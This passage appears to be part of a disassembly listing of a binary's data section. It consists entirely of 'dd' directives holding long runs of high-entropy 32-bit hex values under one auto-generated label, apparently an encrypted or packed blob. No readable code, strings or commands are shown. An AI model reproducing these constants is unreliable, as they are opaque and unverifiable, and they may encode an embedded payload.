		dd 1D599D05h, 97F80288h, 17917D35h, 0DBF69082h,	0E1089954h
		dd 5FB90428h, 9D91008h,	70B84DEFh, 0AF5B9F5Ch, 4D71470h
		dd 4DB4DC75h, 0FCEDC08Ch, 0C04B2BF5h, 0C15FF26Eh, 3EAB2DE0h
		dd 57FCE213h, 0A156B3A8h, 4805B05Eh, 6B58094Dh,	18DD25ABh
		dd 12D78032h, 0EA880DE0h
dword_502044	dd 220E177Bh, 0BF675239h, 0E0CEF95Ah, 57E05887h, 1317D679h
		dd 0E82DBC61h, 4314804Bh, 0BEC8CB34h, 0AD21124Eh, 0B589C26Fh
		dd 55C66AEDh, 19645917h, 0B63A1260h, 0A2DFE616h, 7680D09Bh
		dd 0A21901D1h, 0F14D031Eh, 696AD6E7h, 97442859h, 0AAA44EBCh
		dd 1D23596Ah, 4061D62Dh, 685D3A03h, 0DAB3613Ch,	0B64A44A7h
		dd 0E310A097h, 0A6E14EFFh, 0FDB4E0B7h, 0BC604A30h, 3605D2C2h
		dd 98EB18A5h, 6B00BE4Ah, 6E4E9AE1h, 2638A26h, 0AB359F5Eh
		dd 65552DBFh, 3128B1Ah,	3AF41FF6h, 6314EAABh, 8912C46Fh
		dd 1338AB11h, 0E7024BFAh, 5C88A224h, 829B5143h,	71EB8053h
		dd 0E0AC4D60h, 0A81148D9h, 3BC27C01h, 89D08B60h, 250FF26Ah
		dd 4D4CC261h, 0F11FE769h, 2E47497Bh, 0DE8B6A04h, 0B42D45B9h
		dd 2F92A951h, 0E65EABA7h, 9EE7E006h, 0C4286292h, 615C2271h
		dd 0ED2AC0E9h, 482E97B7h, 4A6AFBE9h, 68C6D260h,	0A52ECF7Bh
		dd 5D698151h, 3000DEC4h, 0CA8C92FAh, 0B753A338h, 5B4A1A66h
		dd 3003F1A9h, 0F551BABCh, 0A7C75A38h, 8970F322h, 15D5117Dh
		dd 3C30C054h, 8C0AD323h, 0A2FDB509h, 28E9F985h,	64FFE7D4h
		dd 0A6C5120Ch, 193050D8h, 51D8BA95h, 0CE2B0028h, 59D06D1Ch
		dd 0FEA5E412h, 112B8B3h, 5149AF9Dh, 7BBDD789h, 0B8D7E100h
		dd 327CD518h, 0C198BD79h, 77AF1A2Bh, 5A246214h,	0B3C21FD5h
		dd 3AFE766Ah, 0CB624EA5h, 0F1A18275h, 0BA512B13h, 0A548DCA7h
		dd 5325CCB7h, 0B3261214h, 0DB6800EFh, 0B7C57528h, 2B8E970Dh
		dd 3AA98A3Eh, 0FE8D15C3h, 508C14ACh, 41B19322h,	7C846F21h
		dd 0A5F875C3h, 2E6EABh,	0F2494C20h, 24ADBED4h, 0C95D0CB3h
		dd 61131F56h, 4E5088h, 7CA5B258h, 92055E29h, 7E3C7D0Ah
		dd 0E40995EEh, 656A594Fh, 0B86400E9h, 329E8770h, 16E28D07h
		dd 5307D5Ch, 43F3B1Ah, 8AF35E6Fh, 0A38AA80Eh, 29433418h
		dd 450FE11Ah, 0C0FBED7Ah, 0F152AE9Dh, 0FA8A12F9h, 0BA60B35Fh
		dd 80559A4Bh, 0B860F53Eh, 0FB6302F4h, 0DBD0971h, 4AEBE457h
		dd 5370EB8Bh, 159EC6Ah,	12B395F8h, 2B2A5FFCh, 86F27C28h
		dd 1919B59Fh, 306F129Ah, 0D4AC9CEh, 0C02273CEh,	59952909h
		dd 794F5B2Eh, 576181Ch,	14F0AD0Dh, 60C4EE73h, 4ED7A2AEh
		dd 0D700D2E2h, 770C7F73h, 61E4B660h, 0D39D0895h, 1CF45F2Eh
		dd 443CDB9Eh, 0AB7BD98Fh, 2013F71h, 0BFC7DC7Fh,	0E99B1312h
		dd 0D3E8550Ah, 8901FF48h, 0E2CF70F0h, 956B95F5h, 0BCF6BD68h
		dd 6CF605FBh, 0E0B8617Bh, 0A995DFBDh, 343DFF31h, 0B39FAC80h
		dd 0B12739Ch, 2CF574BCh, 3105C474h, 17E4D9B5h, 964A9DBDh
		dd 0CF2F5054h, 47C663FEh, 0E371DFE8h, 30309D26h, 4128CE60h
		dd 0B94D03BBh, 0C9122A4h, 9F1637C0h, 31677D02h,	0B2156BA2h
		dd 1365F4CDh, 44168150h, 0E9D92AF5h, 0ADF92092h, 8C1CACE5h
		dd 75CD5C00h, 4D290DBAh, 0B7A75B2Fh, 1D527C38h,	0CB213897h
		dd 0F050E6F7h, 0D9224AADh, 0A8377D68h, 0D6A72FA4h, 5069725Ch
		dd 70F9BB65h, 0F84B62CCh, 0E9505AF3h, 0DD214A15h, 0BDCC7E89h
		dd 0B5BD1603h, 5FB622h,	8D5C4687h, 2112CDCh, 0CBC83AA4h
		dd 0ED7F2B9Ch, 0E41B6AA5h, 60FAB023h, 0DD9D090Bh, 0BDC9931Eh
		dd 0B63F6BE5h, 0E1D8B54Dh, 0E5E5A1BEh, 0BD2BD950h, 3899745h
		dd 46D61EF4h, 0A920001Dh, 0D4E958EBh, 5B6190AFh, 1027EC9Bh
		dd 960908DDh, 21DFD8B3h, 817DBB7Fh, 5A10B700h, 4D965825h
		dd 0AB77C42Fh, 0D6A09D8Ah, 843AAE97h, 875B8515h, 11853943h
		dd 0BF0F54BAh, 0D9CFA404h, 0AA74AC61h, 0D253A800h, 0F551492h
		dd 6529AB25h, 336B1A53h, 0AF8A8A37h, 0D90009E8h, 9345C10Bh
		dd 877900D6h, 0F2541841h, 485AAF71h, 850A1CECh,	25D753ECh
		dd 0EA098329h, 0E8602056h, 57C240h, 4BA031D5h, 8424ECE7h
		dd 4AAA9B02h, 2A2F2338h, 0D9E16099h, 3A00C915h,	0B6C89F3Bh
		dd 562F8E64h, 8009D95Eh, 735BD6CBh, 517A5BA5h, 12B48CDh
		dd 2FF98D13h, 23A16FAAh, 0F2BC001Ah, 6610189h, 8D0F7F12h
		dd 0D7FE11A5h, 5B7ED346h, 0B9EC8C4Eh, 0AC72D0C4h, 7C65A27Bh
		dd 323EF686h, 0AFCF82CAh, 560DBB9Dh, 0D0526778h, 41692BC3h
		dd 42BE5FF2h, 0F3B73D40h, 618600ADh, 59D99D5Dh,	0AE00F763h
		dd 0FFD2EE24h, 9DC6AA22h, 0CF552E8h, 1ADB97h, 0FFEEBB8Ch
		dd 61002D2Eh, 44CE633Ah, 0B5313712h, 16643B6Fh,	429C5460h
		dd 0DBBF0F05h, 1DABBBE9h, 0B5130h, 0FCE46AFDh, 85BDE29h
		dd 4BB20E8Fh, 3BB56005h, 0D21CBB05h, 872A64ABh,	0C9D6897Dh
		dd 50739160h, 754318BFh, 2404F447h, 105028DFh, 0BD7F8569h
		dd 2A850046h, 7A10B225h, 18CE852h, 0B9125EECh, 352AB413h
		dd 2A7C89F5h, 331FCD7Ah, 58D400B8h, 0B7558F08h,	0CE82A250h
		dd 571F9D26h, 14C500F4h, 96C448B6h, 195831CCh, 2510BA2h
		dd 0C1FD51Bh, 83901A95h, 0F0F5239Eh, 0B0B94567h, 1F5520BBh
		dd 24A63D90h, 27070D04h, 0DEAA5792h, 0E4A8D20Ch, 0CFB3E85Bh
		dd 3B28009Bh, 90909495h, 92340B1Ch, 51736AF9h, 2FEA0678h
		dd 0B77989EEh, 449ABF0Fh, 2DB96B4Eh, 27D9FB92h,	1096F72Fh
		dd 0FEA50E15h, 0FB4BCC6Eh, 0FF504867h, 9E381D1h, 4EC4029Bh
		dd 0A7450671h, 20EC14EDh, 4B657620h, 2750FD45h,	0C0F46D02h
		dd 635A1C0Dh, 25BBC495h, 7F736487h, 5B3FCE04h, 0E9FA38F0h
		dd 80F49B2Bh, 0EA6BC9C4h, 9584FA91h, 0FB273FD1h, 2D82D086h
		dd 0AE520D00h, 0E9A38119h, 571C9734h, 4ED1D848h, 725BE6Fh
		dd 0B1013053h, 0FC26D9DDh, 0AA514520h, 608256C2h, 8B5690F8h
		dd 1EF3DE58h, 2B026FB3h, 0D52E599Dh, 29097C94h,	551CC985h
		dd 16BB381Ch, 0D97E50h,	8C27D1C4h, 0A11E3249h, 55271594h
		dd 6DBDFD16h, 18DF4B02h, 13964DF8h, 0A66A7E1Bh,	35EBF0C6h
		dd 9C9F2E2Fh, 26DE2F31h, 0F29D038Eh, 5EAD25C4h,	0A2BA1788h
		dd 0ADD4000Ch, 0CE076ED1h, 0F3122840h, 20057E2Ch, 4B941985h
		dd 7B59E1AEh, 9229A08h,	6A0971E4h, 0EA42525Ah, 9281A85Bh
		dd 0FB3056B1h, 923512B9h, 3E56E164h, 588BD79Dh,	871017F5h
		dd 0DCC1301h, 970B51C1h, 0BAD15012h, 79D19E00h,	72384378h
		dd 942B4B82h, 0E205EE59h, 0FACC58D6h, 30010556h, 0AA78D1AFh
		dd 1E2B37D9h, 0FFF95E5Ch, 347A13DEh, 2C53E8EBh,	8762D023h
		dd 216DE0E3h, 0BD5AA129h, 4C565CDEh, 8D0AE728h,	889589EBh
		dd 0B5271C4Dh, 0F602D93Bh, 0B68DDE43h, 7CEA665Ch, 3A2FE908h
		dd 80403938h, 5767F325h, 70661511h, 96A03516h, 53950319h
		dd 271D115Bh, 0BCDBFE66h, 9ED02DA2h, 5B561963h,	0AD145D42h
		dd 146A844Fh, 85EB010Eh, 972127Fh, 8F48599Bh, 729B9F8h
		dd 6BD062F3h, 89B8021Eh, 9228A9EFh, 0D92C425Ch,	3A2A13DEh
		dd 0D237571Eh, 0BFD7B83Fh, 45F125Bh, 0AEEBE71Ch, 21C20C2h
		dd 717BD22Bh, 0B2A4F70h, 192F5F27h, 0FC20EF84h,	0FE9927ECh
		dd 8A85D2E4h, 4DD8EB2Bh, 0C66900ECh, 44AFFD0Dh,	0B754F2Dh
		dd 84BCC20Ch, 40513473h, 0FBB75F2Eh, 0BCF0586h,	806DAAA0h
		dd 50316A2Eh, 1805030Bh, 0E0C98060h, 2B6FCDAFh,	4FCD84B0h
		dd 0E8D1FC03h, 0B5A57D9Dh, 0A40D96Fh, 0A767AB5h, 27DD303Fh
		dd 0DA0E09B2h, 0D8EB4F80h, 1497330Dh, 84C3F323h, 0E03AB6BAh
		dd 6016DEh, 0EB81F61Fh,	65E5DCB5h, 7B97B870h, 9AA6D8C9h
		dd 0E0224D12h, 6A4E3CE7h, 0BCD717EFh, 4356B801h, 802F58E9h
		dd 0FFCA7254h, 3152E105h, 0B0A04D9Dh, 0F14975Bh, 0DB04572Fh
		dd 3D6AD0D2h, 65DE6B00h
		dd 8D8910F7h, 0D06EE129h, 0EB4F50D2h, 178A774Bh, 0C8773735h
		dd 7104E5C5h, 0B64462B8h, 0E9A306B8h, 8E589976h, 0EC608C07h
		dd 689424D8h, 60091F47h, 8AC9617Dh, 8CAE90F9h, 0BFEDB7D9h
		dd 56FC7AC2h, 0C9C425EDh, 28A35504h, 0F5ADF9DCh, 62012610h
		dd 2918D976h, 0F8534789h, 50385BA5h, 2A056ECAh,	776DED50h
		dd 0E96BFBFCh, 0A516357Fh, 0F0F25B30h, 569B0331h, 50001BE9h
		dd 63968D0Fh, 0DBBF5380h, 0C43BF0F1h, 0EA24044Eh, 42E100E6h
		dd 573CA8EBh, 3C9AA100h, 7B26683Ah, 20E24B02h, 382A069Dh
		dd 97E30309h, 9285895h,	1E1C88D9h, 5F7018FBh, 78B300BBh
		dd 0D8DE146Dh, 0D0AAC215h, 7BE97CFCh, 5C77506Bh, 7E6C8C2Dh
		dd 0E2A4490Dh, 9BF1231h, 82730863h, 0C8BB8B93h,	2197F383h
		dd 0B5D9D61h, 0E01ECA6Ah, 129467Ah, 25CFC9B0h, 0E02E7F45h
		dd 0BEFD58Dh, 7E89C94Ah, 419D23D0h, 0F645B521h,	400D6DAFh
		dd 9D09ECCDh, 0B71BF120h, 299F12F3h, 7F169989h,	8B53F7B2h
		dd 1B77D50h, 6A0AB4B3h,	455776CBh, 5F74B4B5h, 0FEBF0F17h
		dd 9300A0A3h, 72B7E69Eh, 4C032873h, 20E9FD1h, 0E526C0F0h
		dd 892A5F70h, 0B2F62E64h, 4BCD8280h, 0C8587392h, 0DE600B4Dh
		dd 0F9B8D15Bh, 0E8581C1Bh, 50C6F8EBh, 94BD9632h, 2B0A4DFh
		dd 134129E4h, 0D62DC75Ch, 0FF3FF62Ch, 71FCAD70h, 0EE8D49CFh
		dd 55E56F33h, 16E3BBC0h, 27714E0Bh, 58FED20Fh, 0E6E0716Dh
		dd 2FAA3D23h, 68D89Ch, 46BF9753h, 9E8D490Bh, 0B850DE84h
		dd 82E4807Dh, 999CFF2Ch, 1DB72551h, 9A6D4E00h, 0B63B9C2h
		dd 0FF071597h, 27005064h, 6416BA94h, 22912EEh, 0C34B5C04h
		dd 6859DB92h, 459B7500h, 135967D5h, 607A2DB1h, 0A1C78031h
		dd 129B614Fh, 49FB9E82h, 9B008759h, 0D65A81FEh,	795C0172h
		dd 0FF3876DDh, 462C2F08h, 208C4E0Fh, 6FA9B5E3h,	4F8A1E4Bh
		dd 9253431h, 3F223E85h,	0E76F5F44h, 57545B60h, 0B17802E7h
		dd 9D01913Eh, 7F7D4A77h, 13F6B6CDh, 74051C9h, 4B625207h
		dd 85583276h, 0B9044B1Ch, 17ECE815h, 0A81D31A8h, 0A164123Fh
		dd 1511130h, 9C7499h, 266B259Dh, 9A4D026Dh, 0EFC8950h
		dd 27519C97h, 65F303D3h, 7602F9D0h, 0B4B21261h,	588E304Bh
		dd 7005BFD8h, 0D96F9064h, 2EA5D9BFh, 1935D520h,	127701FEh
		dd 42C8198h, 51532FB1h,	5B547AFAh, 1F3E06F9h, 9D52C204h
		dd 9F4E8A8h, 0FF918D31h, 0E7B08094h, 0EE2AC925h, 9637C05Dh
		dd 0B0E66ABBh, 9E00C4Fh, 64E7A2D3h, 40EB947Ch, 6EED83C3h
		dd 6B9C0B01h, 1F19F47Fh, 0B490C60h, 96615F2Ah, 0F8FDB705h
		dd 0D780A096h, 1DBA97E1h, 57505A7Bh, 6F6A0036h,	711C1213h
		dd 0B4D39851h, 818062E8h, 0A1E0FFC8h, 8461202Ah, 0D85973BDh
		dd 2304D3E8h, 25A8A0D8h, 8FF304EFh, 2498EA36h, 78758810h
		dd 0C0FC4F4Bh, 45E07BCFh, 8E3C2D0Bh, 75438997h,	0FD806FBDh
		dd 853189DAh, 0DD094B95h, 81C00131h, 0DB800032h, 348897DEh
		dd 749FD67Eh, 32706922h, 0E63D27A1h, 0AD979655h, 400363FBh
		dd 0BD295BC8h, 7313052Dh, 0FDF99307h, 0CBD91242h, 2014B472h
		dd 972FFD8Dh, 0C5670100h, 1607866Bh, 0A50F036Fh, 0D75EEBB7h
		dd 0B1D51DB2h, 0F91413CAh, 0A16B8095h, 137D431h, 697B34B3h
		dd 2F27868Bh, 8C460E81h, 0E4C3B614h, 13BA5ABh, 3F1675A3h
		dd 38EE4698h, 0F73C7C3h, 775B2631h, 7CD1F9C6h, 0FEE33B2Dh
		dd 0D3B4D6BAh, 2D6A7CC0h, 8DAD4BA5h, 0AD282BD1h, 0AD828A0Dh
		dd 0BD7E078Dh, 21497E69h, 12F52546h, 0D8D602B6h, 0EA565C30h
		dd 0FF03D63Fh, 83B1F70Ch, 0B5D8259Bh, 50DE097Dh, 0DB4D9503h
		dd 0E5631764h, 299A7D8Bh, 0D566627Dh, 1691CA37h, 0A5EB1482h
		dd 5D51685Ch, 0DBBB85C3h, 0E153C0B8h, 812B0D72h, 0E29D2A01h
		dd 90D19B3Eh, 0EF8607FEh, 0FC003A2Ch, 4A299D31h, 1FFA21Fh
		dd 8D96D381h, 0F76F4F04h, 0FFA9B56Ch, 698C4781h, 4EF07EA6h
		dd 0BDE9800Ch, 0B3640097h, 95C18B0Bh, 84C0F7EDh, 2FDBA4A0h
		dd 0EE30B412h, 0A40CDBDh, 4A19EC09h, 9210B22Ah,	8BF5F000h
		dd 4CDABF0Fh, 0C2C03450h, 281C1BDCh, 0D0044FCh,	0CF0C5783h
		dd 4E738CEh, 8E67E4B3h,	0B431FF08h, 0C6A5CD6Dh,	40016D64h
		dd 0AE3FF4D5h, 7B33019Ch, 0AC285F34h, 4C1A28C1h, 1FACA01Fh
		dd 7DFC53C9h, 0E9053005h, 7B819h, 0C794F209h, 0F0C17DBh
		dd 0EB81F801h, 22CE8BB6h, 90FFF08Bh, 8DBCD7F0h,	3D1BFF52h
		dd 0F4E2BBB0h, 904E2904h, 51C1D88Bh, 522E436Fh,	0BADF20Bh
		dd 0F6EF76AAh, 892754DEh, 93AD7C85h, 6520AE5Fh,	34A2F0h
		dd 0C58649A8h, 6F7C8344h, 51D09505h, 20EA3169h,	44B2B11Fh
		dd 1F6A8600h, 51A8A110h, 0FC02D75Bh, 7D03AAD7h,	0CC57E55h
		dd 0A6B160A0h, 11B6615Ah, 11D1BD08h, 5655FF1Dh,	0C0230F61h
		dd 3042E1B9h, 0AB40E1E6h, 13770107h, 0A83299BFh, 5FDD0984h
		dd 4933715Bh, 5CA028D5h, 64B404D6h, 0A0942FA4h,	6A4CFBDCh
		dd 0D1B73A47h, 677147DDh, 9D236109h, 234B2ABDh,	539731D8h
		dd 90AEFCF3h, 77E95F8Fh, 0C222F997h, 9D22ACAAh,	12536499h
		dd 0AD1271BDh, 0C0688F67h, 1F0DA8D8h, 883B005Dh, 0FB2DCCBh
		dd 0B388028Eh, 0A75B5A14h, 0AC9E49FBh, 868F1F63h, 0D7EFDC33h
		dd 80C716E3h, 2512C9BBh, 4165C490h, 8CBB61EDh, 2109C3D2h
		dd 0F0ECC70Fh, 0B76008CAh, 1322614Bh, 0E1E74604h, 8F82C13Eh
		dd 4053D690h, 1665871Dh, 0DCAAFD13h, 10E42E03h,	8ABFD5A7h
		dd 0ED08E0ECh, 0DBD60A95h, 12ECDA74h, 7DEB01DFh, 2E7F5172h
		dd 0C5044564h, 20B90939h, 3D10BED4h, 0C9DD400Eh, 566A1E40h
		dd 0D1E04CFFh, 681884A3h, 19609F1Eh, 470B9611h,	457C6B22h
		dd 3B5C90DEh, 5B380FC7h, 0B8DEBB02h, 0AAE0055Dh, 14970C79h
		dd 41FB6036h, 0C380A7B7h, 9B0A538h, 21C58D31h, 0B370E679h
		dd 0A171E4FCh, 6DF98BF3h, 2810A64h, 0A2E740EAh,	9155617Bh
		dd 0F214D086h, 62B25BC2h, 0B1C387A2h, 0FE0B1DB2h, 0BC039E42h
		dd 0A26C95F6h, 5F82F858h, 0E70226A6h, 9A8BD2Ch,	0B599E85Fh
		dd 171643C5h, 0DA90C82Bh, 0BD7DE9D1h, 120B1C99h, 0A5FD5685h
		dd 8E000264h, 30F667DCh, 9743CD8Ah, 82BF2000h, 7B48D32Ah
		dd 52AA062Ch, 0E11C4E0Bh, 1613482Eh, 20C10994h,	72516323h
		dd 0EB122975h, 63AA38E9h, 39E8D39h, 7693AA0h, 86BBC7C2h
		dd 441B5C78h, 0FBD3271Ch, 89A5EA1Dh, 821C581Dh,	0D5870261h
		dd 501A5C25h, 41822E8Fh, 0AB14052Fh, 68BC2F05h,	0F73B04BAh
		dd 0D820B8EBh, 603ACB20h, 0E0A008D7h, 0B9192498h, 8D6F1001h
		dd 0A4F166AFh, 0D69D0B0Bh, 9DC9BB69h, 0C10E8FBCh, 4A064661h
		dd 642080ADh, 0EDC02B27h, 0BAF1C2FBh, 12FC387Eh, 0E3413BB4h
		dd 4B85D003h, 172AA1F5h, 0E86AEDE8h, 52B905F3h,	55351A2h
		dd 853B11F9h, 0D5DABE8Dh, 0B28CAED2h, 17C24B47h, 0AA72FB5Eh
		dd 600917FAh, 72658952h, 8B79BFA2h, 0AF164780h,	1F89367h
		dd 0BEDBD0BFh, 6D61A76Ah, 0E5B8E2h, 6C06AF1h, 0DE181BA8h
		dd 0A8AF44Bh, 31136722h, 7D40A195h, 0FCB6F4BBh,	25A29C72h
		dd 8600B2ECh, 1EDA602Bh, 0EA786A59h, 52622506h,	0B5B7E06Eh
		dd 6733009Dh, 0F319E057h, 63BB4F05h, 0D0C2C9A3h, 0BC762B08h
		dd 0BD04AAC5h, 0D1FF5BF8h, 6F2FB922h, 638D02F3h, 0BE927F8Dh
		dd 50C556AAh, 6F9D036Ch, 457C4095h, 11BA7460h, 53697DF2h
		dd 44E1519Eh, 87015202h, 60F87B08h, 75254168h, 1764D46Dh
		dd 497D2662h, 66FAE134h
		dd 0BAD700CEh, 0D9A4AE77h, 0A695BCB2h, 4A219AD9h, 0D9438DFCh
		dd 0A9E66FD9h, 3779BD1Fh, 115DAB0Ch, 7F25508Fh,	0DB5E5928h
		dd 1E988016h, 5A890B8Fh, 2051A59Dh, 0F13CEE98h,	556E955h
		dd 0C790F5D2h, 277ABB68h, 8D71E417h, 0D30C0F3Eh, 0CA9B40E7h
		dd 1876FDh, 0E8E54E73h,	5FA14268h, 44A08095h, 901C0789h
		dd 9F19F618h, 0AF98F3EEh, 0F19F1AF8h, 41944DA4h, 2A68E98Bh
		dd 0DB5BB48Ah, 0A838849Dh, 969A3AAh, 5B32F585h,	0BE60804Bh
		dd 39792FAAh, 0F92D6676h, 954E8298h, 0DE4FD7ADh, 0B5094B40h
		dd 0A9F19F85h, 29C22345h, 44A00D2Fh, 0B1532116h, 0E4DD2A16h
		dd 2BF11341h, 45E242Bh,	40E21B3h, 82AF5796h, 0D909FBE7h
		dd 0A029004Bh, 62563BD3h, 0F96C497h, 505F585Ah,	0F98A5763h
		dd 0B7FD7BB7h, 3F9278h,	0B884F33Ah, 0A109D781h,	0FE69A308h
		dd 1846D6CEh, 0ADBFC01h, 3B89CFF7h, 68027BB2h, 0CAE2932Eh
		dd 70D13B48h, 7D353C27h, 0D88BE390h, 0FDE71A95h, 501D84C6h
		dd 0BC9F5BBh, 37AE293Dh, 0E13880AAh, 0EDC6C929h, 2F5E9358h
		dd 3B46FBFEh, 0C62E55Ch, 0FB7661FCh, 793B1EDCh,	0F41187B2h
		dd 81D5241Bh, 3F193D05h, 6A4D72CFh, 0B3D06EBDh,	17EFB1ABh
		dd 0CAD3B6E1h, 705238DAh, 0DC26FC9Fh, 0CEE21500h, 0BBF57D75h
		dd 8B6C09D1h, 5696D9Dh,	212FAC3Eh, 0E15D28DEh, 8EF94A8Eh
		dd 0A51AFDFAh, 412593C0h, 0A509C28Eh, 80335C4Ch, 0E30D3FA1h
		dd 0FF149572h, 4A423C45h, 1E77FFDh, 0D4042989h,	467DC9AFh
		dd 0F05BB7A9h, 0FB2EAFBBh, 0ECD5A8BCh, 0E1D9972Bh, 0CA400544h
		dd 82B7F6D4h, 6438ED9Fh, 8DFF6419h, 97A88FFh, 50960B33h
		dd 0C02EB44h, 782F5881h, 79E629h, 980FAC19h, 2BDD4CD4h
		dd 0B11F18A8h, 0AAE63B7Fh, 96E45F71h, 70F7D397h, 620B8EA1h
		dd 0ED0CE780h, 0E0FB6810h, 5CC4DE68h, 185A0B01h, 89B7C807h
		dd 0C8F99A2Ah, 0BFC7C418h, 631C7A1h, 9B2EDB0Dh,	0B3A7C71Fh
		dd 0DF8B5DF1h, 0C956FC9Ch, 0CB519EEFh, 0C5AAEDA7h, 5F9B2A2h
		dd 0F9B07959h, 7A27DBBBh, 0EB8DA34Ah, 0B7C4603Ch, 465CB7EBh
		dd 1198B0F1h, 0E4029558h, 9BE48D0Fh, 3688534Bh,	17580099h
		dd 13445563h, 4762F391h, 0FB205058h, 0EAF1700Dh, 89901F38h
		dd 51B04BFBh, 0A450A7F6h, 46E08B25h, 20BB02D6h,	6A125184h
		dd 734A1877h, 6230001Eh, 1A79134Ch, 200A887h, 0D3819D7Ah
		dd 4AAB0128h, 966E60Dh,	0DE63C780h, 37CC884h, 39832FA9h
		dd 0D1648FC0h, 2B404700h, 0F8285F4Ah, 60DB097Ah, 4E545E56h
		dd 6125BD22h, 0D877045Bh, 6E5F63A8h, 0DCDA004Ah, 136B20F3h
		dd 0FA62956Eh, 6D9F7170h, 0E0B96872h, 0E11B67Fh, 27E7DC01h
		dd 7D9D0932h, 0A63FBF75h, 71FDB49Dh, 5ED9C880h,	0A02F76B5h
		dd 169B10A6h, 8BB2014Eh, 0A4349E31h, 0DD47E3Fh,	0EEA70BA8h
		dd 0A0A7E716h, 4717391h, 0C9A193DEh, 9B1CEA4Eh,	0BB960220h
		dd 7A7EDFA3h, 8A2FB5D8h, 0E138AFFAh, 79D8D29h, 0E0818A6Bh
		dd 2CE45AFFh, 671AF88Bh, 0E8A46F51h, 0D25DAD26h, 57A0F4A6h
		dd 0B974DED7h, 79DF801Ah, 634F57B3h, 2EDA9060h,	0EBD200A2h
		dd 0C2AD972Bh, 9F0BD781h, 0FD0BDCBCh, 5E5AA5BEh, 0B3B0F0B7h
		dd 5C622DABh, 2903874Ch, 6EDF1E62h, 3E0DF378h, 0BAA5B3B6h
		dd 87032CC4h, 902D9BDh,	5B59BB57h, 0BF603F59h, 172271FDh
		dd 0FCA5E91Dh, 0D1A65EE9h, 5118B4E0h, 5D30E170h, 8BB97666h
		dd 0DF810FC1h, 4569F72Ch, 0FCAD1559h, 219DC151h, 6950020Eh
		dd 6F2F0432h, 0ED750213h, 56D93880h, 3B62442h, 5558A2A7h
		dd 535788CAh, 0D49687D7h, 772E81B2h, 44603F42h,	5ED2DADCh
		dd 4C54316Ah, 0DDFC2254h, 9BF0FA01h, 74EA9636h,	5279406Ah
		dd 0E400A662h, 0B5068728h, 960FAAEh, 0B1254393h, 29915D58h
		dd 80E9FC80h, 5CC692E4h, 25E94A0h, 1FBB74E2h, 0E0ECCD75h
		dd 504BDB2Bh, 9C7843Ah,	5878630Ch, 0BD091288h, 44D85211h
		dd 0C23ABB1Eh, 21624B14h, 6740F65Ch, 1C60B68h, 0BDF6AA4Fh
		dd 0D8EEEC51h, 7B042BAFh, 0D7CB71D6h, 0DBA739C4h, 0CCE76BB0h
		dd 2580300Bh, 4B865850h, 80A0F91Dh, 0D0336993h,	8CF11DAFh
		dd 0D6EF44F3h, 3703B9F5h, 2BE438FEh, 0E5FDB3AEh, 0B23D6B70h
		dd 56210F98h, 0BAE4DF38h, 83CEAC66h, 0E8BEB907h, 3AEDF7h
		dd 662D25E7h, 40FB2756h, 308E5F06h, 0FD8CD5F2h,	0E2DCB917h
		dd 0E00D0049h, 0C94AE5h, 741C27A1h, 0B679795h, 0BBDD074Ah
		dd 8038DA7Bh, 1A6DCE6Ah, 18EF7213h, 2105E892h, 0FF135504h
		dd 150B4D4Fh, 0EE27DAA5h, 7568E3B5h, 0F6AFB4Ah,	0C98D604Bh
		dd 0C6EC72A9h, 0FB075108h, 1E950860h, 0F48D0109h, 0D3FCA564h
		dd 3AB2DF10h, 22D7029h,	26AF675h, 785D9589h, 0B8904A3Ch
		dd 11BBC023h, 5EA9EFh, 6ABE6050h, 6178A25Fh, 0E1C49050h
		dd 9237FC9h, 0E794D57Bh, 0C9F8896Bh, 382BCA82h,	0BB407ED4h
		dd 0AFD84B8Ah, 2702C06Eh, 0A67907EFh, 519509F5h, 0F010A5D4h
		dd 0E056D7Ah, 0EAD44EA0h, 909AC2C4h, 0F4C019C8h, 253B2063h
		dd 0A26CF6EDh, 22F10497h, 23C27AAAh, 0A2BB001Ch, 0C14C389Dh
		dd 525F7DE0h, 0A7AFC9C4h, 745CF06Dh, 45EF0355h,	0BD6BCAF1h
		dd 3C8DBFC5h, 0EA22Bh, 179651C7h, 5FC85B21h, 2FE8C082h
		dd 0FF176A6Dh, 2F05A5B7h, 0FF21249Dh, 0EC0507CDh, 8A5F0478h
		dd 89AD61DAh, 9014C84h,	3812FF8Bh, 0BD06817Fh, 8A0023F1h
		dd 705AE6FEh, 0F3C488h,	2C9F7F7Ch, 0DFFC920Ah, 0E22BF809h
		dd 0FB007F94h, 0D3AEBE66h, 2FDE93A1h, 1522E9E2h, 49F054B5h
		dd 80C47D50h, 7DAD1259h, 6C123991h, 0E62F3F5h, 2B1ED908h
		dd 9ACE0B75h, 6A69DFC0h, 0E1A83BD8h, 16A18508h,	2AF56BB1h
		dd 52D16207h, 107E6CD5h, 0B0DC1BDh, 64BCE95Bh, 1EDD2196h
		dd 0A9DD0117h, 8232E8h,	7B4F1D7Ah, 0E66B653Ah, 51BFBA24h
		dd 5827C009h, 400B9CA4h, 8DB49C66h, 0D8B6A40Bh,	1A737CFDh
		dd 12667D25h, 52853700h, 310E8C16h, 70AE1A8Bh, 7F7292FDh
		dd 525C5F6Ch, 0F15125BFh, 7CAFDB53h, 0BDF6B8Dh,	6929DE42h
		dd 0FE31C051h, 81000219h, 7D1280E3h, 0C2B166D6h, 52A7326Bh
		dd 2B5F7361h, 0B1CCC264h, 0A86F0079h, 6D19C2BAh, 0E607FCEBh
		dd 4E2E8EB5h, 508D28B0h, 487F9876h, 12D3DA01h, 84DAA2DFh
		dd 0C6183E90h, 0B7910AA1h, 0F3EF8004h, 7BD4D5ACh, 16092510h
		dd 505E2FB9h, 17919D0Dh, 0AFCCA96h, 81F3B90Fh, 0B0E69CBFh
		dd 5556F227h, 8DB717DCh, 0E0DEE15h, 0C500692Dh,	0E1B82E28h
		dd 0C1769E3Ah, 0D22B056Dh, 8039DB7Bh, 0F7D39C13h, 20A24A9Eh
		dd 75DBDD13h, 8C81F800h, 5C492EE3h, 982B001Eh, 24BB1240h
		dd 0F3B72DB7h, 3B5BFA41h, 57DA0B00h, 1D35DB9Dh,	1785091Fh
		dd 0A053E721h, 2FAF44Ah, 99030E4Eh, 66FF217Eh, 49BD16E6h
		dd 2D8AB731h, 528F71E9h, 694D6DDFh, 0B23AD14Ch,	82AB0478h
		dd 0C683C4F9h, 0D59210ECh, 17977B29h, 83A62932h, 0EFAAAE25h
		dd 66995B80h, 3A8D9A09h, 0FC0DD07h, 204DB774h, 8C9B4EEFh
		dd 51760B9Fh, 0AB00277h, 51315CD6h, 409D3E85h, 927A63Bh
		dd 1A0ED14Dh, 2AC1FC77h, 50DBB7D6h, 2075B5Ah, 9C036305h
